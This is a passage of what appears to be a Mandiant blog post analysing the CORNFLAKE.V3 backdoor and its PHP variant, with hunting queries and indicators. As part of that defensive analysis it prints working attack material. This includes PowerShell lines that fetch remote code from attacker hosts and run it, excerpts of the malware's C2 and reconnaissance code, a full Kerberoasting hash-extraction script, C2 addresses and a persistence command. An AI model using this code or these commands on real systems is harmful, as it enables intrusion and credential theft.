<p role="presentation"><span>Download Node.js via HTTPS from the URL </span><code>hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip</code><span>, write the file to </span><code>%TEMP%\downloaded.zip</code><span> and extract its contents to the directory </span><code>%APPDATA%\node-v22.11.0-win-x64</code></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Base64 decode its embedded CORNFLAKE.V3 payload and execute it via the command </span><code>%APPDATA%\node-v22.11.0-win-x64\node.exe -e “&lt;base64_decoded_CORNFLAKE.v3&gt;”</code></p>
</li>
</ul>
<p><span>The PowerShell dropper's anti-vm checks include checking for low system resources (total memory less than 4GB or used memory less than 1.5GB) and if the target system's computer name matches the regular expression </span><code>DESKTOP-S*</code><span> or the target system's manufacturer is </span><code>QEMU</code><span>.</span></p>
<p><span>As a result of the dropper’s execution, a DNS query for the </span><code>nodejs[.]org</code><span> domain was made, followed by the download of an archive named </span><code>downloaded.zip</code> (<span>SHA256:</span> <code>905373a059aecaf7f48c1ce10ffbd5334457ca00f678747f19db5ea7d256c236</code>)<span>. This archive contained the Node.js runtime environment, including its executable file </span><code>node.exe</code><span>, which was then extracted to </span><code>%APPDATA%\node-v22.11.0-win-x64\</code><span>. The Node.js environment allows for the execution of JavaScript code outside of a web browser.</span></p>
<p><span>The extracted </span><code>%APPDATA%\node-v22.11.0-win-x64\node.exe</code><span> binary was then launched by Powershell with the </span><code>-e</code><span> argument, followed by a large Node.js script, a CORNFLAKE.V3 backdoor sample.</span></p>
<p><span>Mandiant identified the following activities originating from the CORNFLAKE.V3 sample:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Host and AD-based reconnaissance</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Persistence via Registry Run key</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Credential harvesting attempts via Kerberoasting</span></p>
</li>
</ul>
<p><span>The following process tree was observed during the investigation:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>explorer.exe 
     ↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe 
-w h -c 
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"
          ↳ c:\users\&lt;user&gt;\appdata\roaming\node-v22.11.0-win-x64\node.exe 
-e "{CORNFLAKE.V3}" 
               ↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe 
-c "{Initial check and System Information Collection}"
                    ↳ C:\Windows\System32\ARP.EXE -a
                    ↳ C:\Windows\System32\chcp.com 65001
                    ↳ C:\Windows\System32\systeminfo.exe 
                    ↳ C:\Windows\System32\tasklist.exe /svc
               ↳ c:\windows\system32\cmd.exe /d /s /c "wmic process where 
processid=16004 get commandline"
               ↳ C:\Windows\System32\cmd.exe /d /s /c "{Kerberoasting}"
               ↳ c:\windows\system32\cmd.exe /d /s /c 
"{Active Directory Reconnaissance}"
               ↳ c:\windows\system32\cmd.exe /d /s /c "reg add 
{ChromeUpdater as Persistence}" </code></pre></div>
<div class="block-paragraph_advanced"><h3><span>Analysis of CORNFLAKE.V3 </span></h3>
<p><span>The CORNFLAKE.V3 sample recovered in our investigation was completely unobfuscated, which allowed us to statically analyze it in order to understand its functionality. This section describes the primary functions of the malware.</span></p>
<h4><span>Initial Check and System Information Collection</span></h4></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>if (process.argv[1] !== undefined &amp;&amp; process.argv[2] === undefined) {
    const child = spawn(process.argv[0], [process.argv[1], '1'], {
        detached: true,
        stdio: 'ignore',
        windowsHide: true,
    });
    child.unref();
    process.exit(0);
}</code></pre></div>
<div class="block-paragraph_advanced"><p><span>When the script initially executes, a check verifies the command line arguments of the </span><code>node.exe</code> <span>process, keeping in mind that the binary is initially spawned with a single argument (the script itself), this check forces the script to create a child process which has</span> <code>1</code><span> as an additional argument, then the initial </span><code>node.exe</code><span> exits. When the child process runs, since it now has three arguments, it will pass this initial check and execute the rest of the script.</span></p>
<p><span>This check allows the malware to ensure that only one instance of the script is executing at one time, even if it is launched multiple times due to its persistence mechanisms.</span></p>
<p><span>Following this, the malware attempts to collect system information using the following code:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>let cmd = execSync('chcp 65001 &gt; $null 2&gt;&amp;1 ; echo \'version: ' 
+ ver + '\' ; if ([Security.Principal.WindowsIdentity]::GetCurrent().Name 
-match '(?i)SYSTEM') { \'Runas: System\' } elseif 
(([Security.Principal.WindowsPrincipal] 
[Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole
([Security.Principal.WindowsBuiltInRole]::Administrator)) 
{ \'Runas: Admin\' } else { \'Runas: User\' } ; systeminfo ; echo 
\'=-=-=-=-=-\' ; tasklist /svc ; echo \'=-=-=-=-=-\' ; Get-Service | 
Select-Object -Property Name, DisplayName | Format-List ; 
echo \'=-=-=-=-=-\' ; Get-PSDrive -PSProvider FileSystem | Format-Table 
-AutoSize ; echo \'=-=-=-=-=-\' ; arp -a', { encoding: 'utf-8', shell: 
'powershell.exe', windowsHide: true });

commandRet = Buffer.from(cmd, 'utf-8');

sysinfo = Buffer.concat([numberBufferInit, numberBufferId, commandRet]);</code></pre></div>
<div class="block-paragraph_advanced"><p><span>This code block executes a series of PowerShell commands (or fallback CMD commands if PowerShell fails) using </span><code>execSync</code><span>. It gathers the script's version, user privilege level (System, Admin, User), standard </span><span>systeminfo</span><span> output, running tasks/services (</span><code>tasklist /svc</code><span>), service details (</span><code>Get-Service</code><span>), available drives (</span><code>Get-PSDrive</code><span>), and the ARP table (</span><code>arp -a</code><span>).</span></p>
<h4><span>C2 Initialization</span></h4>
<p><span>After setting some logical constants and the command and control (C2) server IP address, the malware enters the </span><code>mainloop</code> <span>function. The script contains support for two separate lists, </span><code>hosts</code><span> and </span><code>hostsIP</code><span>, which are both used in the C2 communication logic. Initially, the </span><code>mainloop</code><span> function attempts to connect to a random host in the</span><span> </span><code>hosts</code><span> list, however, if unable to do so, it will attempt to connect to a random IP address in the </span><code>hostsIP</code><span> list instead. Once a connection is successfully established, the <code>main</code> </span><span>function is called.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>// Define lists of hostnames and IP addresses for the command 
and control server.
const hosts = ['159.69.3[.]151'];
const hostsIp = ['159.69.3[.]151'];

// Variables to manage the connection and retry logic.
let useIp = 0;
let delay = 1;

// Main loop to continuously communicate with the command 
and control server.
async function mainloop() {
    let toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length];
    let toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length];

    while (true) {
        // Wait for the specified delay.
        await new Promise((resolve) =&gt; setTimeout(resolve, delay));

        try {
            // Attempt to communicate with the command and control server.
            if (useIp &lt; 200) {
                await main(toHost, PORT_IP);
                useIp = 0;
            } else {
                await main(toIp, PORT_IP);
                useIp++;
                if (useIp &gt;= 210) useIp = 0;
            }
        } catch (error) {
            // Handle errors during communication.
            console.error('Error with HTTP request:', error.message);
            toHost = hosts[Math.floor(Math.random() * 1000) % 
hosts.length];
            toIp = hostsIp[Math.floor(Math.random() * 1000) % 
hostsIp.length];
            useIp++;
            delay = 1000 * 10;
            continue;
        }

        // Set the delay for the next attempt.
        delay = 1000 * 60 * 5;
    }
}</code></pre></div>
<div class="block-paragraph_advanced"><h3><span>C2 Communication</span></h3>
<p><span>This function, named </span><code>main</code><span>, handles the main command and control logic. It takes a host and port number as arguments, and constructs the data to be sent to the C2 server. The malware sends an initial POST request to the path </span><code>/init1234</code><span>, which contains information about the infected system and the output of the last executed command; the contents of this request are XOR-encrypted by the </span><code>enc</code><span> function.</span></p>
<p><span>This request is answered by the C2 with 2 possible responses:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><code>ooff</code><span> - the process exits</span></p>
</li>
<li aria-level="1">
<p role="presentation"><code>atst</code><span> - the <code>atst</code></span><span> function is called, which establishes persistence on the host</span></p>
</li>
</ul>
<p><span>If the response does not match one of the aforementioned 2 values, the malware interprets the response as a payload and parses the last byte of the response after XOR decrypting it. The following values are accepted by the program:</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Command</strong></p>
</td>
<td>
<p><strong>Type</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><span>0</span></p>
</td>
<td>
<p><span>EXE</span></p>
</td>
<td>
<p><span>The received payload is written to </span><code>%APPDATA%\&lt;random_8_chars&gt;\&lt;random_8_chars&gt;.exe</code><span> and launched using the Node.js </span><code>child_process.spawn()</code> <span>function</span><span>.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>1</span></p>
</td>
<td>
<p><span>DLL</span></p>
</td>
<td>
<p><span>The received payload is written to </span><code>%APPDATA%\&lt;random_8_chars&gt;\&lt;random_8_chars&gt;.dll</code><span> and launched using the Node.js </span><code>child_process.spawn()</code> <span>function</span><span> as an argument to </span><span>rundll32.exe</span><span>.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>2</span></p>
</td>
<td>
<p><span>JS</span></p>
</td>
<td>
<p><span>The received payload is launched from memory as an argument to </span><span>node.exe </span><span>using the Node.js </span><code>child_process.spawn()</code> <span>function</span><span>.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>3</span></p>
</td>
<td>
<p><span>CMD</span></p>
</td>
<td>
<p><span>The received payload is launched from memory as an argument to </span><code>cmd.exe</code> <span>using the Node.js </span><code>child_process.spawn()</code> <span>function</span><span>. Additionally, the output is saved in the </span><code>LastCmd</code><span> variable and sent to the C2 in the next request.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>4</span></p>
</td>
<td>
<p><span>Other</span></p>
</td>
<td>
<p><span>The payload is written to </span><code>%APPDATA%\&lt;random_8_chars&gt;\&lt;random_8_chars&gt;.log</code><span>.</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div><span>Table 2: CORNFLAKE.V3 supported payloads</span></div>
</div>
</div></div>
<div class="block-paragraph_advanced"><h4><span>Persistence</span></h4>
<p><span>The </span><span>atst</span><span> function, called by <code>main</code></span><span>, attempts to establish persistence on the host by creating a new registry Run key named </span><code>ChromeUpdater</code> <span>under </span><code>HKCU\Software\Microsoft\Windows\CurrentVersion\Run</code><span>.</span></p>
<p><span>The malware uses </span><code>wmic.exe</code><span> to obtain the command line arguments of the currently running </span><code>node.exe</code><span> process. If </span><code>node.exe</code><span> was launched with the </span><code>-e</code><span> argument, like the malware does initially, the script extracts the argument after </span><code>-e</code><span>, which contains the full malicious script. This script is written to the </span><code>&lt;random_8_chars&gt;.log</code><span> file in the Node.js installation directory and its path is saved to the </span><code>path2file</code><span> variable.</span></p>
<p><span>If </span><code>node.exe</code><span> was instead launched with a file as an argument (such as during the persistence phase), the path to this file is extracted and saved to the </span><code>path2file</code><span> variable.</span></p>
<p><span>The </span><code>path2file</code><span> variable is then set as an argument to</span> <code>node.exe</code><span> in the newly created </span><code>ChromeUpdater</code><span> registry key. This ensures that the malware executes upon user logon.</span></p>
<h3><span>Executed Payloads</span></h3>
<p><span>As observed in the main </span><span>function, this sample can receive and execute different types of payloads from its C2 server. This section describes two payloads that were observed in our investigation.</span></p>
<h4><span>Active Directory Reconnaissance</span></h4>
<p><span>The first payload observed on the host was a batch script containing reconnaissance commands. The script initially determines if the host is domain-joined, this condition determines which specific reconnaissance type is executed.</span></p>
<h5><span>Domain Joined</span></h5>
<ul>
<li role="presentation"><span>Query Active Directory Computer Count</span><span>: Attempts to connect to Active Directory and count the total number of computer objects registered in the domain.</span></li>
<li role="presentation"><span>Display Detailed User Context</span><span>: Executes</span><span> </span><code>whoami /all</code><span> to reveal the current user's Security Identifier (SID), domain and local group memberships, and assigned security privileges.</span></li>
<li role="presentation"><span>Enumerate Domain Trusts</span><span>: Executes </span><code>nltest /domain_trusts</code><span> to list all domains that the current computer's domain has trust relationships with (both incoming and outgoing).</span></li>
<li role="presentation"><span>List Domain Controllers</span><span>: Executes </span><code>nltest /dclist :</code><span> to find and list the available Domain Controllers (DCs) for the computer's current domain.</span></li>
<li role="presentation"><span>Query Service Principal Names (SPNs)</span><span>: Executes </span><code>setspn -T &lt;UserDomain&gt; -Q */*</code> <span>to query for all SPNs registered in the user's logon domain, then filters the results (Select-String) to specifically highlight SPNs potentially associated with user accounts (lines starting CN=...Users).</span></li>
</ul>
<h5><span>Not Domain Joined</span></h5>
<ul>
<li role="presentation"><span>Enumerate Local Groups</span><span>: Uses </span><code>Get-LocalGroup</code><span> to list all security groups defined locally on the machine.</span></li>
<li role="presentation"><span>Enumerate Local Group Members</span><span>: For each local group found, uses </span><code>Get-LocalGroupMember</code><span> to list the accounts (users or other groups) that are members of that group, displaying their Name and PrincipalSource (e.g., Local, MicrosoftAccount).</span></li>
</ul>
<h4><span>Kerberoasting</span></h4>
<p><span>The second script executed is a batch script which attempts to harvest credentials via Kerberoasting. The script queries Active Directory for user accounts configured with SPNs (often an indication of a service account using user credentials). For each of these, it requests a Kerberos service ticket from which a password hash is extracted and formatted. These hashes are exfiltrated to the C2 server, where the attacker can attempt to crack them.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>$a = 'System.IdentityModel';
$b = [Reflection.Assembly]::LoadWithPartialName($a);
$c = New - Object DirectoryServices.DirectorySearcher([ADSI]'');
$c.filter = '(&amp;(servicePrincipalName=*)(objectCategory=user))';
$d = $c.Findall();
foreach($e in $d) {
    $f = $e.GetDirectoryEntry();
    $g = $f.samAccountName;
    if ($g  - ne 'krbtgt')  {
        Start - Sleep  - Seconds (Get - Random  - Minimum 1  
- Maximum 11);
        foreach($h in $f.servicePrincipalName) {
            $i = $null;
            try {
                $i = New - 
Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken  
- ArgumentList $h;
            } catch {}
            if ($i  - ne $null)  {
                $j = $i.GetRequest();
                if ($j)  {
                    $k = [System.BitConverter]::ToString($j) - replace'-';
                    [System.Collections.ArrayList]$l = 
($k - replace'^(.*?)04820...(.*)', '$2') - Split'A48201';
                    $l.RemoveAt($l.Count - 1);
                    $m = $l - join'A48201';
                    try {
                        $m = $m.Insert(32, '$');
                        $n = '$krb5tgs$23$*' + $g + '/' + $h + '*$' + $m;
                        Write - Host $n;
                        break;
                    } catch {}}}}}}</code></pre></div>
<div class="block-paragraph_advanced"><h3><span>PHP Variant</span></h3>
<p><span>Mandiant Threat Defense recently observed a new PHP-based CORNFLAKE.V3 variant which has similar functionality to the previous Node.js based iterations.</span></p>
<p><span>This version was dropped by an in-memory script which was executed as a result of interaction with a malicious ClickFix lure page.</span></p>
<p><span>The script downloads the PHP package from </span><code>windows.php[.]net</code><span>,</span><span> </span><span>writes it to disk as </span><code>php.zip</code><span> </span><span>and extracts its contents to the </span><code>C:\Users\&lt;User&gt;\AppData\Roaming\php\</code><span> </span><span>directory</span><span>. </span><span>The CORNFLAKE.V3 PHP sample is contained in the</span> <code>config.cfg</code><span> file that was also dropped in the same directory and executed with the following command line arguments:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>"C:\\Users\&lt;User&gt;\AppData\Roaming\php\php.exe" -d extension=zip -d 
extension_dir=ext C:\Users\&lt;User&gt;\AppData\Roaming\php\config.cfg 1</code></pre></div>
<div class="block-paragraph_advanced"><p><span>To maintain persistence on the host, this variant utilizes a registry Run key named after a randomly chosen directory in </span><code>%APPDATA%</code><span> or </span><code>%LOCALAPPDATA%</code><span> instead of the fixed </span><code>ChromeUpdater</code><span> string used in the Node.js version. To communicate with its C2 a unique path is generated for each request, unlike the static</span> <code>/init1234</code><span> path:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>POST /ue/2&amp;290cd148ed2f4995f099b7370437509b/fTqvlt HTTP/1.1  
Host: varying-rentals-calgary-predict.trycloudflare[.]com  
Connection: close  
Content-Length: 39185  
Content-type: application/octet-stream</code></pre></div>
<div class="block-paragraph_advanced"><p><span>Much like the Node.js</span><span> version, the last byte of the received payload determines the payload type, however, these values differ in the PHP version:</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<thead>
<tr>
<th scope="col">
<p><strong>Command</strong></p>
</th>
<th scope="col">
<p><strong>Type</strong></p>
</th>
<th scope="col">
<p><strong>Notes</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<p><span>0</span></p>
</td>
<td>
<p><span>EXE</span></p>
</td>
<td>
<p><span>This decrypted content is saved to a temporary executable file (</span><code>&lt;rand_8_char&gt;.exe</code><span>) created in a random directory within the user's </span><code>%APPDATA%</code><span> folder, and executed through </span><code>PowerShell</code><span> as a hidden process.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>1</span></p>
</td>
<td>
<p><span>DLL</span></p>
</td>
<td>
<p><span>The decrypted content is saved as a </span><code>&lt;rand_8_char&gt;.png</code><span> file in a temporary directory within the user's </span><code>%APPDATA%</code><span> folder. Subsequently, </span><code>rundll32.exe</code><span> is invoked to execute the downloaded file.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>2</span></p>
</td>
<td>
<p><span>JS</span></p>
</td>
<td>
<p><span>This decrypted content is saved as a </span><code>&lt;rand_8_char&gt;.jpg</code><span> file in a temporary directory within the user's </span><code>%APPDATA%</code><span> folder. The script attempts to check if </span><code>Node.js</code><span> is installed. If </span><code>Node.js</code><span> is not found or fails to install from a hardcoded URL (</span><code>http://nodejs[.]org/dist/v21.7.3/node-v21.7.3-win-x64.zip</code><span>), an error message is printed. If </span><code>Node.js</code><span> is available, the downloaded JavaScript (</span><code>.jpg</code><span>) file is executed using </span><code>node.exe</code><span>.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>3</span></p>
</td>
<td>
<p><span>CMD</span></p>
</td>
<td>
<p><span>This decrypted data is executed as a provided command string via </span><code>cmd.exe</code><span> or </span><code>powershell.exe</code><span>.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>4</span></p>
</td>
<td>
<p><span>ACTIVE</span></p>
</td>
<td>
<p><span>This command reports the </span><code>active_cnt</code><span> (stored in the </span><code>$qRunq</code><span> global variable) to the C2 server. This likely serves as a heartbeat or activity metric for the implant.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>5</span></p>
</td>
<td>
<p><span>AUTORUN</span></p>
</td>
<td>
<p><span>The malware attempts to establish persistence by adding a registry entry in </span><code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code><span> that points to the script's </span><code>PHP</code><span> binary and its own path.</span></p>
</td>
</tr>
<tr>
<td>
<p><span>6</span></p>
</td>
<td>
<p><span>OFF</span></p>
</td>
<td>
<p><span>This command directly calls </span><code>exit(0)</code><span>, which terminates the PHP script's execution.</span></p>
</td>
</tr>
<tr>
<td> </td>
<td>
<p><span>OTHER</span></p>
</td>
<td>
<p><span>If none of the specific commands match, the received data is saved as a </span><code>.txt</code><span> file in a temporary directory within the user's </span><code>%APPDATA%</code><span> folder.</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div><span>Table 3: CORNFLAKE.V3 PHP variant supported payloads</span></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>
<div class="block-paragraph_advanced"><p><span>The Javascript payload execution functionality was retained by implementing the download of the Node.js runtime environment inside the </span><code>JS</code><span> command. Other notable changes include the change of the </span><code>DLL</code><span> and </span><code>JS</code><span> payload file extensions into </span><code>.png</code><span> and </span><code>.jpg</code><span> to evade detection and the addition of the </span><code>ACTIVE</code><span> and </span><code>AUTORUN</code><span> commands. However, the main functionality of the backdoor remains unchanged despite the transition from Node.js to PHP.</span></p>
<p><span>These changes suggest an ongoing effort by the threat actor to refine their malware against evolving security measures.</span></p>
<h3><span>Executed Payloads</span></h3>
<h4><span>Active Directory Reconnaissance</span></h4>
<p><span>A </span><span>cmd.exe</span><span> reconnaissance payload similar to the one encountered in the Node.js variant </span><span>was received from the C2 server and executed. The script checks if the machine is part of an Active Directory domain and collects the following information using powershell:</span></p>
<h5 role="presentation"><span>Domain Joined</span></h5>
<ul>
<li aria-level="1">
<p role="presentation"><span>Total count of computer accounts in AD.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Domain trust relationships.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>List of all Domain Controllers.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Members of the "Domain Admins" group.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>User accounts configured with a Service Principal Name (SPN).</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>All local groups and their members</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Current User name, SID, local group memberships and security privileges</span></p>
</li>
</ul>
<h5 role="presentation"><span>Not Domain Joined</span></h5>
<ul>
<li aria-level="1">
<p role="presentation"><span>All local groups and their members</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Current User name, SID, local group memberships and security privileges</span></p>
</li>
</ul>
<p><span> </span></p>
<h4><span>WINDYTWIST.SEA Backdoor</span></h4>
<p><span>Following the interaction with its C2 server, a DLL payload (corresponding to command </span><span>1</span><span>) was received, written to disk as </span><code>C:\Users\&lt;User&gt;\AppData\Roaming\Shift194340\78G0ZrQi.png</code> <span>and executed using </span><code>rundll32</code><span>. This file was a </span><code>WINDYTWIST.SEA</code><span> backdoor implant configured with the following C2 servers:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>tcp://167.235.235[.]151:443
tcp://128.140.120[.]188:443
tcp://177.136.225[.]135:443</code></pre></div>
<div class="block-paragraph_advanced"><p><span>This implant is a C version of the Java </span><code>WINDYTWIST</code><span> backdoor, which supports relaying TCP traffic, providing a reverse shell, executing commands, and deleting itself. In previous intrusions, Mandiant observed </span><code>WINDYTWIST.SEA</code><span> samples attempting to move laterally in the network of the infected machine.</span></p>
<p><span>The following process tree was observed during the infection:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>explorer.exe
    ↳ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe 
"-c irm dnsmicrosoftds-data[.]com/log/out | clip; &amp; 
([scriptblock]::Create((Get-Clipboard) -join 
(""+[System.Environment]::NewLine)))"
       ↳ C:\WINDOWS\system32\clip.exe
       ↳ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe 
"-w H -c irm windows-msg-as[.]live/qwV1jxQ"
       ↳ C:\WINDOWS\system32\systeminfo.exe
       ↳ C:\Users\&lt;user&gt;\AppData\Roaming\php\php.exe "-d extension=zip 
-d extension_dir=ext C:\Users\&lt;user&gt;\AppData\Roaming\php\config.cfg 
1 {CORNFLAKE.V3}"
          ↳ cmd.exe /s /c "powershell -c 
{Multiple PS Commands for Host Reconnaissance}"
          ↳ cmd.exe /s /c "powershell -c 
{Multiple PS Commands for Host Reconnaissance}"
          ↳ cmd.exe /s /c "reg add 
HKCU\Software\Microsoft\Windows\CurrentVersion\Run 
/v "random_appdata_dirname" /t REG_SZ /d "\"&lt;php_binary_path&gt;" 
\"&lt;script_path&gt;"" /f"
          ↳ powershell.exe
             ↳ C:\Windows\System32\rundll32.exe 
"{WINDYTWIST.SEA Backdoor}" start</code></pre></div>
<div class="block-paragraph_advanced"><h3><span>Conclusion</span></h3>
<p><span>This investigation highlights the collaborative nature of modern cyber threats, where UNC5518 leverages compromised websites and deceptive ClickFix lures to gain initial access. This access is then utilized by other actors like UNC5774, who deploy versatile malware such as the CORNFLAKE.V3 backdoor. The subsequent reconnaissance and credential harvesting activities we observed indicate that the attackers intend to move laterally and expand their foothold in the environment.</span></p>
<p><span>To mitigate malware execution through ClickFix, organizations should disable the Windows Run dialog box where possible. Regular simulation exercises are crucial to counter this and other social engineering tactics. Furthermore, robust logging and monitoring systems are essential for detecting the execution of subsequent payloads, such as those associated with CORNFLAKE.V3.</span></p>
<h3><span>Acknowledgements</span></h3>
<p><span>Special thanks to Diana Ion, Yash Gupta, Rufus Brown, Mike Hunhoff, Genwei Jiang, Mon Liclican, Preston Lewis, Steve Sedotto, Elvis Miezitis and Rommel Joven for their valuable contributions to this blog post.</span></p>
<h3><span>Detection Through Google Security Operations</span></h3>
<p><span>For detailed guidance on hunting for this activity using the following queries, and for a forum to engage with our security experts, please visit our companion post on the</span> <a href="https://security.googlecloudcommunity.com/community-blog-staging-private-71/a-cereal-offender-analyzing-the-cornflake-v3-backdoor-5682" rel="noopener" target="_blank"><span>Google Cloud Community blog</span></a><span>.</span></p>
<p><span>Mandiant has made the relevant rules available in the Google SecOps Mandiant Frontline Threats curated detections rule set. The activity discussed in the blog post is detected in Google SecOps under the rule names:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Powershell Executing NodeJS</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Powershell Writing To Appdata</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Suspicious Clipboard Interaction</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>NodeJS Reverse Shell Execution</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Download to the Windows Public User Directory via PowerShell</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Run Utility Spawning Suspicious Process</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>WSH Startup Folder LNK Creation</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Trycloudflare Tunnel Network Connections</span></p>
</li>
</ul>
<h4><span>SecOps Hunting Queries</span></h4>
<p><span>The following UDM queries can be used to identify potential compromises within your environment.</span></p>
<h5><span>Execution of CORNFLAKE.V3 — Node.js </span></h5>
<p><span>Search for potential compromise activity where PowerShell is used to launch node.exe from %AppData% path with the -e argument, indicating direct execution of a malicious JavaScript string.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /powershell\.exe/ nocase
target.process.file.full_path = /appdata\\roaming\\.*node\.exe/ nocase
target.process.command_line = /"?node\.exe"?\s*-e\s*"/ nocase</code></pre></div>
<div class="block-paragraph_advanced"><h5><span>Execution of CORNFLAKE.V3 — PHP</span></h5>
<p><span>Search for compromise activity where PowerShell is executing php.exe from %AppData% path. This variant is characterized by the use of the -d argument, executing a PHP script without a .php file extension, and passing the argument 1 to the PHP interpreter, indicating covert execution of malicious PHP code.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /powershell\.exe/ nocase
target.process.file.full_path = /appdata\\roaming\\.*php\.exe/ nocase
target.process.command_line = /"?php\.exe"?\s*-d\s.*1$/ nocase
target.process.command_line != /\.php\s*\s*/ nocase</code></pre></div>
<div class="block-paragraph_advanced"><h5><span>CORNFLAKE.V3 Child Process Spawns</span></h5>
<p><span>Search suspicious process activity where cmd.exe or powershell.exe are spawned as child processes from node.exe or php.exe when those executables are located in %AppData%.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = 
/appdata\\roaming\\.*node\.exe|appdata\\roaming\\.*php\.exe/ nocase 
target.process.file.full_path = /powershell\.exe|cmd\.exe/ nocase</code></pre></div>
<div class="block-paragraph_advanced"><h5><span>Suspicious Connections to Node.js/PHP Domains</span></h5>
<p><span>Search unusual network connections initiated by powershell.exe or mshta.exe to legitimate Node.js (nodejs.org) or PHP (windows.php.net) infrastructure domains.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>metadata.event_type = "NETWORK_CONNECTION"
principal.process.file.full_path = /powershell\.exe|mshta\.exe/ nocase 
target.hostname = /nodejs\.org|windows\.php\.net/ nocase</code></pre></div>
<div class="block-paragraph_advanced"><h3><span>Indicators of Compromise (IOCs)</span></h3>
<p><span>A <a href="https://www.virustotal.com/gui/collection/dc4207feb8863f26779d067a40b20d7e80b8d225f54ea16e24dcc7493a70d9b9" rel="noopener" target="_blank">Google Threat Intelligence (GTI) collection of IOCs</a> is available to registered users</span><span>.</span></p>
<h4><span><span>Host-Based Artifacts</span></span></h4></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong><span>Artifact</span></strong></p>
</td>
<td>
<p><strong><span>Description</span></strong></p>
</td>
<td>
